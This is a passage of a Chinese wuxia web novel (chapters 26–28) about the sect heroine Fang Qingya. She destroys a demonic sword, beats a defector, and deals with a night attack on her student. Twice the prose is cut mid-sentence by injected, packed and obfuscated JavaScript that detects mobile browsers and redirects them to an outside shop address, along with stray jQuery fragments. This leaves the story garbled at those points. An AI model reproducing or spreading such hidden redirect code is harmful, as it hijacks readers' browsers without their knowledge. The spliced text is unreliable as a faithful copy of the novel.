双方僵持不下,李青筠索性趁机多问几句:“你们教主藏身何处?” 男子知无不言、有问必答:“他现下……就在幽州,咳咳。” “他为何要对武林人下手?” “因为他在找——” 他话未说完,突然被一声巨响打断。李青筠抬眼一看,见大船的另一半船舱也被轰然掀翻,那女子连同朴七一同摔入海中,四裂的木板噼里啪啦砸在了海面之上。 朴七趁乱抓起一块木板,照那女子当头一拍,把人死死按在海水里。不料大腿一痛,她“嗷”地松手:“你敢捅我?!” 女子挣脱出来,抬臂举剑要杀她,手中却忽然一空。 紧接着,一道火红的身影落在漂浮的木板之上,放青崖含笑的声音响起:“我离开不过一炷香时间,你们怎么闹成这样?” 李青筠见靠山来了,立即告状:“大师姐,她手里有魔剑!” 放青崖左右端详着从女子手中拿来的剑,这东西通身泛白,白得令人有些不安,剑身颇像一条被压扁的脊骨形状,握在掌心时,她竟真的能感觉出自己的内力在丹田不停歇地膨胀、翻涌。 原来魔剑能使人内力大涨的传言是真的,难怪魔教被武林盟会围剿得抱头鼠窜,也要一刻不停、想尽办法炼出更多的剑来。 一柄魔剑尚且如此,那若是魔教众人人手一把呢?武林盟会还足以与魔教抗衡吗? 放青崖不敢再想。她低头看向海里的女子,问道:“用人命炼成的剑,好用吗?” “你?!你是放青崖——” 女子被问得一愣,还没来得及说什么,放青崖已经双手各握一端,轻描淡写地一掰,“咔嚓”,数百人性命为代价炼就的魔剑断作两截,被她随手抛入海中。 27.第 27 章 见魔剑被毁,女子脸色十分难看,竟不管不顾地伸手抓住放青崖的双腿,誓要将她一同拖下水。 放青崖“哎”了一声,避开她的手,转而跳到另一块木板上,说道:“别这样,我可不会凫水。” 说话间,那女子已经借力在木板上一踩,从海水中脱身。她死死盯着放青崖,像是恨不得扑上来一口咬断对方的脖子,恨声道:“放青崖,你我来打上一场!” “打什么打,这儿还有仨人泡在水里呢。”放青崖指指脚下的海面,“你同伙快要淹死了,还不救?” 谁知她看都没看一眼,很是固执地腾空跃起,五指成爪朝放青崖抓去。放青崖叹了一口气,回头对李青筠和朴七说了声“等我片刻”,这才转头继续应付攻来的女子。 指爪已逼近眼前,携着一股刚劲的内力,只不过对方的动作落入她眼中仿佛被放缓了十倍。放青崖侧身一躲,顺手在她脉门砍了一手刀,瞬间截断女子体内运转的内力,看她“扑通”一声重新狼狈地摔回海里。 放青崖说“片刻”,就真的只用了片刻。李青筠连她动作都没看清,下一瞬脖领子一紧,她已经被放青崖用枪尖提溜起来,挥臂往岸上用力一甩。 李青筠发誓自己是想找个体面点的姿势落地的,但一切发生得太快,还没反应过来时她已经脸朝下撅着屁股摔在了沙滩上。 随后,放青崖将剩下三只落汤鸡揪上岸,与她一道来支援的几人围了上来,“啧啧”感叹。 “这么快就抓到魔教的人了,不愧是月下飞天镜的大师姐。” 其中一人是月下飞天镜的门生,觉得沙滩上某一团“驴打滚”很是眼熟,仔细一看,大笑:“青筠师妹,你怎么弄成这副模样?” 李青筠辈分虽大,年纪却最小,因此山里的人多数都称她为“师妹”。她从地上爬起来,拍了拍身上的沙粒,说道:“都怪大师姐,谁让她到处乱扔!” 放青崖道:“没让你自己游回来就不错了。好了,你们四位谁来说说,到底发生了什么?” 朴七还记恨着那个女子在海里捅了她一剑,捂着大腿四处找自己的打狗棍,根本顾不上理放青崖;那女子暂时没了内力,只能狼狈地坐在地上喘着粗气,恶狠狠地瞪着放青崖,看上去更不会像是愿意说实话的模样。 李青筠连忙大喊:“师姐师姐,问那个男的!他是个大漏勺!” 男子死鱼一样躺在沙滩上,幽幽地叹了口气。 “我错了,以后若能有个女儿,还是随我的性子好。” 放青崖没给他伤春悲秋的时间,提枪一刺,枪尖在他心口猛地停滞下来。 “说,你们教主有什么阴谋?” 他继续将方才被打断的话说完:“教主啊,他在找一个叫作‘天生剑骨’的东西。” 放青崖问:“那是什么?” “是我在,咳咳,在上古残卷中发现的好东西。”他说,“寻常人的脊骨要经过千挑万选、千锤百炼才能制成魔剑。但是天生剑骨不同,那东西的威力比魔剑还要强上百倍。” 放青崖了然:“所以你们教主为了找到这东西,抓来这么多人一一查看,只杀人,不取骨。这样想来,‘剑骨’大概是在某个武林女子身上,我说得对吗?” 男子露出一个意外的神色,笑道:“聪明。据残卷所写,天生剑骨百年不世出,若出世必定落于女子之身,此人定是天赋异禀、惊才绝艳之辈。那七人都是教主从各门各派抓来的好手,可惜了,看样子一个也不是。” “可惜?”放青崖心头怒火骤起,脸上却依然挂着笑,“杀了这么多人,一句可惜就揭过去了?那我也‘可惜可惜’你们二位如何?” 一旁的女子怒喝:“放青崖,人又不是我们杀的!你在我们面前摆什么威风?!” 放青崖瞥她一眼,随即竟然真的收了枪。 “要说起来,武林中第一等天赋异禀、惊才绝艳之人,不就站在你们面前吗?” 放青崖毫不谦虚,毫不脸红,继续道:“你们教主满天下抓来抓去,偏偏不来找我。这是为何?” 女子瞪她一眼,骂了句“不要脸”,愤恨地扭过头去。男子替她开口说:“自然是惹不起。” “那你们二人回去告诉他,不必找了,剑骨就在我身上。”放青崖半蹲下身将那女子的脸掰过来,态度强硬地与她对视,“让你家教主来找我放青崖,别去杀那些有的没的,白费力气。” 女子不言,一偏头像野狼般朝她手腕咬去。放青崖缩了下手,啧声道:“妹子,你到底与我有多大仇?” “对对对,我想起来了!”旁边看热闹的月下飞天镜门生忽然大叫,“我说怎么有点眼熟,她是那个叛逃的外门生,好像叫个程什么来着!” 想拜入月下飞天镜难于登天,因此少有门生叛逃,大家对这事也就记得格外清楚。不过放青崖成天里招猫逗狗满脑门官司,实在不太记得还有这么一桩,疑惑道:“何时的事?我怎么没印象?” 听她这么一说,女子神情越发狠戾,一翻身跃起攥拳就要往放青崖脸上招呼。她暂时无法运转内力,只能凭身上的拳脚功夫与对方贴身肉搏。放青崖抬臂一挡,女子只觉得自己像是一拳砸在了铁石之上,指骨剧痛。 她不甘心,又提膝攻向放青崖下盘。放青崖轻叱一声,双掌下压截住,顺势大力下按将她掼个踉跄,侧身避开后抬手在她肩头一拍。 “咔嚓”一声,肩骨错位,女子咬牙忍痛向后甩肘,击中放青崖手臂外侧,逼得她退开一步。 眨眼间二人已经过了数招,拳拳到肉,砰砰闷响听得人牙疼。 不过没过多久,胜负已分。放青崖一把握住女子的左臂,猛地弓腰旋身,将她自肩头摔过,重重砸到了地上。 沙尘四起,女子咳出一口淤血。直到此刻,她才不得不承认,自己根本不是这个人的对手,无论有没有魔剑,用不用内力。 是啊,这才是武林第一的“红缨白马”放青崖,她自年幼起就无比崇拜、堪称奉若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428967|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神明的人。 也是在她历经千辛万苦前去月下飞天镜拜师时,轻飘飘一句“根骨一般”就让她满心自信烟消云散的人。 真是不甘心啊…… 男子踉踉跄跄地扑上来挡在她身前,一改方才将生死置之度外的悠然,急声厉色道:“放青崖,你方才说了放我们离开!” 放青崖有些纳闷:“你搞清楚好不好,是她非要与我动手。” 女子转头吐出一口血,强撑着从地上爬起来,张了张口,像是还想对放青崖说些什么,却被那男子一把捂住嘴,低声求道:“别说了,我们走吧……” 放青崖两指一并,做了个“再见”的手势,随即将二人抛在身后,转头招呼:“走了走了各位,回去复命。” 跑来稀里糊涂看了一场热闹的几个人追上她,问道:“这两人在魔教中地位应当不低,真的要放虎归山?” “什么放虎归山,这叫引蛇出洞。”放青崖说,“船上有七头七身,头是村中渔民的,让官差带人去认领;身子是武林中人,我大致看过,有悬空寺、谯城华家与青城山的门生。劳烦几位回到驻地给各门派传讯,近来大家都多加小心,无论是女是男,毕竟那二人说的话是否属实还未可知。” 几人点头应下,面色凝重地离去。放青崖叹了口气,刚走出去两步,就被人从身后重重一撞,猴子似的顺着她的腿攀到了背上。 “李青筠,你能不能让我省点心?”她数落道,“要不是‘且慢’跑得快,我现在八成还在海里一块一块地捞你呢。” 李青筠说:“要不是某个人拖后腿,我早就把那个男魔头杀了!” 朴七拄着放青崖的枪当拐杖,一瘸一拐地跟在后面,不满地抱怨:“要不是你非藏起来,那俩人的脑袋早就被我一棍子敲成西瓜了!现在可好,我的棍子都丢海里找不到了!” 三个人“要不是”来“要不是”去地推卸了半天责任,放青崖终于一挥手:“停!” 朴七给她面子,李青筠才不听,趴在她师姐背上安静了一小会儿,又换个话题问:“大师姐,那个‘剑骨’真的在你身上啊?” “什么狗屁玩意儿,”放青崖笑骂道,“我压根没听说过。” “不知道你胡说什么!”李青筠急起来,“魔教教主如今大概就在幽州,万一他当了真来抓你怎么办?!” 放青崖耸耸肩:“他要是有胆量,早就亲自对我动手了。如今却天南海北抓了那么多武林人,再故弄玄虚地让她们死在幽州,无非就是要引我入局,弄清楚剑骨到底在不在我身上。” 朴七说:“所以你不管真假,干脆认下此事。这样魔教那些人就没心情再去到处抓人了。” “没错。”放青崖拍拍她的肩,“看来近些日子是安生不得了,还望朴少侠能保护在下一二。” 李青筠双臂用力勒她的脖子:“大师姐你找她干嘛,找我啊!我保护你!” “咳咳!李青筠,魔教还没找上门,你倒先把我勒死了!” 28.第 28 章 回月下十九峰的路上,李青筠非要闹着去途径的镇子里玩,要是放以前,放青崖压根不管她。但如今知道幽州有魔教之人,放青崖不放心她独自在山外,于是任由她软磨硬泡也不松口。 这家伙有时候蹿得比老鼠还快,连放青崖都抓不住,于是她索性解了腰带将李青筠捆到马上,一路牵着回去,活像捉来的逃犯。 三人一马终于赶在天黑之前回到山脚下,还碰巧遇到了一个同路上山的人。 “青螺!“放青崖喊住她,看见她手里拖着一头羊,问道,“今日又去围猎了?” 白青螺一转身,腰带上还挂着两只野鸡。看到放青崖,她惊喜道:“大师姐,你这次回来得好早。今日没有围猎,是三师姐觉得嘴里味淡,撺掇我捕些野物回去。” “我正说呢,怎么今日不去抓什么老虎狮子,反倒抓了只羊回来。” 放青崖拍了拍羊身,对朴七说:“不错,很肥。老三做烤全羊的手艺最好,朴少侠这次有口福了。” 白青螺看向朴七:“这位是……” 朴七朝她一抱拳:“丐帮朴七,前来拜会贺盟主。” “原来是丐帮的少侠,欢迎欢迎。”白青螺笑着说,“我先一步回主峰,帮三师姐准备食材。” 朴七看她身子骨单薄,那只羊个头不小,正想问要不要帮忙扛上山,却见白青螺一手倒提着羊腿往肩头一甩,丝毫不费力气似的哼着歌朝山上走去。 “……哇。”朴七感叹。 放青崖说:“青螺今日许是没将弯月大弓带在身边,不然你就不会意外了。她那把弓有五尺长,力有五石,一般人拿都拿不动的。” 朴七来了兴致:“我一会儿与她掰个手腕领教领教!” 被无视了许久的李青筠幽幽道:“九师姐不会答应你的。” “为什么?”朴七问道。 李青筠扭过脸去,不愿意回答。放青崖提起这事就想笑:“我告诉你为什么。之前这家伙不信邪,非要与青螺掰手腕,结果一上去胳膊就被掰脱臼了!吓得青螺哭了好几天呢。” 朴七转了转胳膊,悻悻道:“这么恐怖啊,那还是算了。” 李青筠脸上挂不住,在马背上扑腾着连声催促:“师姐走快点,我要回去吃烤全羊!师姐师姐……” 魔音贯耳,二人只得加快脚步。朴七腿上还带着伤,走到一半把李青筠赶下马,自己翻身骑了上去。原本两个时辰的上山路硬生生缩减了小半,折腾了一天的几人终于爬到山顶,已经饿得饥肠辘辘。 月下飞天镜向来不在衣食住行等武学之外的事上刻意追求,门生大多三三两两住在一处,在山上寻块空地自己搭座草屋就算住所,更有甚者连屋子都懒得搭,直接找个山洞了事。也就主峰之上出于待客、集会等考量,设立了一座议事正堂,堂前有一片光秃秃的广场。 今日这片广场被征用来烤全羊,有几人正忙前忙后地杀羊、生火,见放青崖回来也只是头都不抬地招呼一声。 “大师姐回来了。和你说一声,你家李青筠今天一整天都没见人影,说不定是被狼叼走了哦。” 放青崖说:“还有这种好事?哈哈哈!可惜要让你们失望了,青筠今日随我一道下山来着。” 众人立刻大声叹息:“唉!” 还好快要爬到山顶的时候李青筠就一溜烟跑没影了,不然见师姐师兄们如此不待见自己,恐怕又要大闹一通。 “大师姐,你今天不是下山除魔去了吗?往常少说得用个三五天,这次怎么回来得这么早。” “这次嘛,情况特殊。青鹤,你明早去敲钟,先把所有门生都召到主峰,我再与你们细说。”放青崖道。 云青鹤点头道:“是,师姐。” 放青崖凑到火堆前,看了眼铁架子上烤得滋滋冒油的羊,满意道:“幸亏今天回来得早,否则我岂不是就错过这顿烤全羊了?” 三师姐岳青山正抱着个大瓷盆磨制香料,抬头朝她笑道:“想得美,回来再早也没你的份儿!” “那可不行。”放青崖说,“我今日带了客人回来的,你总得在客人面前给我留点面子。” 岳青山看向一旁的朴七,放下瓷盆朝她一抱拳:“听青螺说了,丐帮的朴少侠是吧?欢迎欢迎,随便找地方坐!” 放青崖四下看了看:“我记得广场上有几条木板凳来着,怎么不见了?” “拆掉生火去了!”岳青山朝广场中央的大火堆努努嘴,“昨天山里才下了场雨,树枝太湿生不起火,我就让青螺把板凳拆了。” “……”放青崖说,“好吧,看来朴少侠只能随我们一道坐地上了。” 朴七无所谓地摆摆手,“没事,我先去四处转转。” 她背起手四处溜达,从前没来过月下十九峰,还以为这地方会像其它大门大派一样讲究些文绉绉的臭规矩,没想到里面几乎与她们丐帮一样,自由、散漫,像一群野人在山里生活。 广场那边的吵吵嚷嚷逐渐听不清了,朴七乱走一通,不知怎么走到一池小潭边。天色已经暗了下来,她蹲在潭边拨弄了几下水,耳朵一动,忽然从潺潺流水声中分辨出一道不属于自己的呼吸声。 小潭对面似乎有道人影,她下意识屏息凝神,伸手去摸索背后的打狗棍,落了个空才哭笑不得地反应过来,这里是月下十九峰,能有什么危险? 朴七“嘿”了一声,朗声问道:“对面的朋友,你哪位?” 那人影似乎在听到说话声时才意识到她的存在,身形一僵,有些不知所措地应道:“我是枪峰的门生……” 朴七听她声音尚且青涩,又是学枪的,当即想到一人:“你是放青崖的首徒吧,叫个什么明月来着?” 她说:“曾明月。” “哦,我是你家师傅的朋友,来十九峰做客。”朴七自来熟地与她搭话,“你怎么不去广场上与她们一道热闹,一个人在这山旮旯里干嘛?” “我……”曾明月顿了顿,声音有些紧张,“我不喜欢人多的地方。” 朴七只当她害羞,笑道:“你师傅与我提起过你,说你是个好苗子,假以时日定能青出于蓝。当时我就想,要是有机会与你比上一场就好了。现下正是个好机会,可惜我的棍却找不见了。” 听到她说“可惜”,曾明月似乎悄悄松了一口气,干巴巴地说道:“我自然是比不过师傅的,前辈过誉了。” 两人就这样隔着水潭你来我往地聊了几句,朴七见人就想比划的老毛病又犯了,说道:“等我过去,咱俩空手也能比划两场!” 她正打算踩着水潭中央露出的几块石头跳过去,那边曾明月却忽然大喊一声。 “别过来!” 朴七吓了一跳,差点一个踉跄栽水里。她不解地问:“怎么了?不想打架啊?” 不想打架也不用这么大声喊吧! 曾明月说:“我……我想一个人待着,前辈还是回广场去吧,不然师傅她们该到处找你了。” 朴七悻悻道:“好吧,那我走了。” 她转头走了几步,突然一个折身以迅雷不及掩耳之势几步跃过水潭,猛地探出手去,一把抓住了曾明月——身后之人! 那人一身黑色斗篷,几乎与夜色融为一体,全身上下只露出一只手来,握着刀尖抵在曾明月喉间。似是没想到朴七会忽然袭来,那人连忙在曾明月背上重重拍了一掌,将人推向朴七,自己则趁机抽身而退。 曾明月“噗”地喷出一口血来,朴七将她接住,手上的力道却也没松,依然在死死攥着那不速之客身上的斗篷。对方似乎恼羞成怒,回身用力在朴七手腕划了一刀,却也因此露出了兜帽遮掩下的半张脸。 朴七在市井里待久了,认脸水平堪称登峰造极。只凭这半截下巴,她就认出来者是谁。 “程、逐、鹿!” 她怒吼一声,新仇旧恨顿时一齐涌上心头。她将曾明月向远处一推,见这小姑娘很机灵地朝广场狂奔而去,这才转头死死盯着面前的人。 “你大爷的有完没完?白天放走你不满意,晚上又急着来找死?!”朴七随手在衣角一扯,咬着布头将手腕上的伤口裹好止血,“放青崖没把你打爽是不是?来啊!吃你姥姥一拳!!” 程逐鹿想退,却被朴七一把扯裂了斗篷,迎面一拳打在脸上。她先是懵了一瞬间,大概也被这一拳惹得极为恼火,反手用指骨又重又快地在朴七咽喉处捣了几拳,将人打得干呕不止。 “你——!” 趁朴七捂着喉咙咳嗽,程逐鹿从鼻子里“哼”了一声,转身就要离开。不料头皮忽然剧痛,一阵大力从身后传来,抓着她的头发将她拼力往回拽。 程逐鹿痛得大叫,骂朴七手段下作。可是她不知朴七打小就在街头与人逞凶斗狠,抓头发踹裆这些武林人嗤之以鼻的阴招她从来不忌讳。 眼看远远有动静传来,再不脱身恐怕要被抓个正着,程逐鹿当机立断,抬手猛地一刀,将自己的头发齐齐斩断,最后逃走时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432671|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她回头看了朴七一眼,目光如同一条阴狠的蛇。 “让放青崖等着。”程逐鹿说,“她得意不了太久。” “你个囟球,一天挨了两顿揍还有脸放狠话?!我要是你早就一头撞死了!” 朴七破口大骂着要去追她,岂料这人轻功居然不差,在树梢间轻跃两三下,蜻蜓点水般一眨眼就不见了踪影。 “罢了,朴少侠。” 放青崖走上前来,拍了拍她的肩:“她朝后山去了,追不到的。” “什么玩意儿!”朴七啐了一口,“打不过大人就来欺负小孩儿?我说你们月下飞天镜是什么破地方,菜市场啊?人家想来就来想走就走的。” 放青崖无奈:“十九峰的山崖峭壁本就是天堑,寻常人是找不到山路的。但她是叛逃的门生,所以记得路也不奇怪。” “那你还不防备!要不是今天我偶然撞上,你的好徒儿八成要被活剖了取骨!” “我本想明日再说,免得山内人心惶惶,谁曾想……”她叹了一口气,“罢了,我这就去敲钟。” 十九峰中主峰最为高耸,而在主峰顶上,正悬挂着那口巨大的铜钟。朴七随着放青崖一道攀上山巅,看着她提气运功,一掌推在钟身之上。 下一刻,浑厚的钟鸣声如同水波纹般漾开,在山间悠然回荡。宿鸟惊飞,野猿哀鸣,寂静的山林夜被彻底打破,连风声都在呜呜作响。 “我最不喜欢听见这钟声。”放青崖说,“上一次听到,还是一位师叔过世。” 朴七捂着耳朵,还是感觉自己的脑仁都被这钟声震得嗡嗡响,说道:“的确很吵。” 放青崖笑着说:“若有一天我死了,一定不让她们敲钟,这样说不定大家都以为我还活着呢。” “也不一定。”朴七戏谑道,“说不定这钟一响,还能把你从棺材里震出来。到时候你睁眼一看,哇,门生的门生都已经一把年纪了,围着你喊师祖姥姥。” 放青崖笑了一阵,道:“走了,回广场去。” 门生一时之间没到全,广场上的烤全羊还在火堆上滋滋冒油,但谁也没有心情去管它。曾明月坐在边上被一群人围着,看表情似乎快要晕过去了。 李青筠听到钟响,不知从何处冒出来,正抓着曾明月问东问西。 “谁伤你了?!你告诉我,我替你报仇!” 曾明月看了看这个年龄比她还要小的小师姑,无奈道:“多谢小师姑,但那人我并不认识,只知道她大概是魔教中人。” “又是魔教!”李青筠动作浮夸地跳起来,“这些人竟然敢在主峰上动手,当我们月下飞天镜好欺负吗?!人往哪儿跑了,我这就去追!” “我也不知道……有一位前辈与她缠斗,方才我师傅也赶去了——啊,师傅,前辈,你们回来了!” 曾明月忽然话锋一转,起身看向不远处走来的二人,终于获救了似的,连忙说:“小师姑在问我关于那魔教贼人的事……” 见放青崖回来,围着的众人纷纷起身让开。 “不必理她。”放青崖走上前,扣住曾明月的脉门,“还好,那人没有下死手。” 曾明月点头:“是。那贼人先前用刀挟持了我,却不动手,只是要将我劫走,还好这位前辈忽然开口与我说话,才拖延了片刻。” 李青筠问:“那人是谁?为什么要挟持明月?” “白日才见过。”朴七冷哼一声,余怒未消,“那个女的。” “又是她!”李青筠大怒。 放青崖竖起一指,示意她安生,随后抚了抚曾明月的发顶,低声说:“这事说来是为师连累了你,抱歉。近些日子与你师妹师弟待在咱们峰里,不要独自出去。” “师傅……”曾明月不安地仰头看她,“到底发生了什么事?” 广场中的门生越来越多,三三两两聚在一起交谈着,有的人甚至是从睡梦中被叫醒,身上裹着被子茫然地打哈欠。 “谁知道发生什么事了啊?我今天三万次挥剑还没够。” “你怎么才三万次?我师傅让我每天练五万次基础剑法。” 裹着被子的人插嘴:“练得多有什么用,要我说,扎扎实实才是正道。” “你倒是口气不小!来比划比划!” “好啊,来就来!” 随后被子一扔,两个人开始大打出手。 “……”朴七看向放青崖,“不管管?” 放青崖扶额:“随她们打。”